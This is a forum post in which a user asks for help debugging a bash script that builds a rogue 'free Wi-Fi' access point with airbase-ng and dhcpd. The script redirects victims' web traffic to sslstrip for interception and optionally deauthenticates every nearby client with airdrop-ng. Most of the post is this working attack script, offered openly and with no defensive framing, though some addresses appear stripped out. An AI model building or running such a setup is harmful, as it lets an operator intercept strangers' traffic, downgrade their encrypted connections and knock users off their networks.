Jump to content

Fake Ap Troubleshooting


Recommended Posts


been playing with this bash script for a couple of days now trying difrent combo's, basicly if possible can someone point out where im going wrong in this script ive put together, i get the fake ap up and running, dhcpd assigns clients with ip's and clients can connect but what i notice is that a lease dont get written for the client and allso the connection for the client is lagged to fook so basicly they cant surf, secondly im not sure if all the iptables rules are needed.


IFACES=`ifconfig | grep ' $' | cut -d " " -f1`

echo "[*]Wait 1 Sec While We Write The dhcpd.conf file..."

#dhcp config

rm /etc/dhcp3/dhcpd.conf

#network conf

echo "ddns-update-style none;

ignore client-updates;

default-lease-time 86400;

max-lease-time 172800;


subnet netmask {

option subnet-mask;

option broadcast-address;

option routers;

option domain-name-servers; #google's



" >> /etc/dhcp3/dhcpd.conf

#end dhcp conf

sleep 2

echo "[*]Name Of Session (folder where log files are to be created):"


mkdir /root/$SESSION/

sleep 2

#for my awus036h

echo "[*]Turn On Wlan1 And Set Txpower? yes/no:"

read WLAN1

if [ $WLAN1 = "yes" ] ; then

ifconfig wlan1 up

sleep 2

iw reg set BO

iwconfig wlan1 txpower 30

echo "[*]Checking Txpower On wlan1..."

sleep 2

iwconfig wlan1

echo "[*]Set ,Lets Move On..."


if [ $WLAN1 = "no" ] ; then

echo "[*]Lets Move On Then.."


#awus036h end

sleep 2

echo "[*]Name Of Internet Connection? : "$IFACES":"

read INT

sleep 2

echo "[*]Name Of Wlan ? : "$IFACES":"

read IFACE

sleep 2

ifconfig $IFACE mtu 1500 #i only set this cos my eth0 MTU is 1500 but wlan1 MTU is 1800

sleep 2

echo "[*]Throwing $IFACE Into Monitor Mode..."

airmon-ng start $IFACE

sleep 2

echo "[*]Monitor Mode Enabled On ? :"

read MON

sleep 2

echo "[*]Name Of Our Fake AP ? ie:Wifi4Free:"

read FAPN

sleep 2

echo "[*]Channel For Our Fake AP:"

read CHAN

sleep 2

echo "Starting Up $FAPN On Channel $CHAN ..."

sleep 5

xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+0+0 -T airbase-ng -e airbase-ng -e $FAPN -c $CHAN -v $IFACE &

sleep 5

ifconfig at0 netmask up

route add -net netmask gw

sleep 3

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain


iptables -t nat -A POSTROUTING -o $INT -j MASQUERADE

iptables -A FORWARD --in-interface at0 -j ACCEPT

iptables -t nat -A PREROUTING -p udp -j DNAT --to

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #for sslstrip

echo 1 > /proc/sys/net/ipv4/ip_forward #for sslstrip

echo > '/var/lib/dhcp3/dhcpd.leases'

ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid

sleep 5

xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T dhcpd3 -e dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

sleep 3

#AP config end

#this section is optional but would like to have it working aswell, can u see anything wrong here ?

ifconfig at0

echo "[*]Enter Mac Address Of Fake AP:"

read APMAC

sleep 2

#would be nice if this part worked allso

echo "[*]Run Airodump-ng with Airdrop-ng To Deauth Everyone (DANGER) yes/no?:"

read AIR

if [ $AIR = "yes" ] ; then

rm /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt

sleep 2

xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T airodump-ng -e airodump-ng $MON -w dump --output-format csv &

sleep 2

echo "[*]Just writing Rules for Airdrop-ng..."

echo "#Allow Rules;


#Deny Rules;


" >> /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt

echo "[*]Rules Set"

echo "[*]Firing Up Airdrop-ng..."

sleep 5

xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T airdrop-ng -e airdrop-ng -i $MON -t /root/dump*.csv -r /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt -b -p &

sleep 2


if [ $AIR = "no" ] ; then

echo "[*]Moving On..."

sleep 2


#this is only my 3rd script in bash ,it all runs but not %100 ? why ?

##mitm options taken out until issues solved with dhcpd

scripts open to all comments , thanx for any help that might be given to solve this scripts issues, cheers.

P.s sorry if post is abit long.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...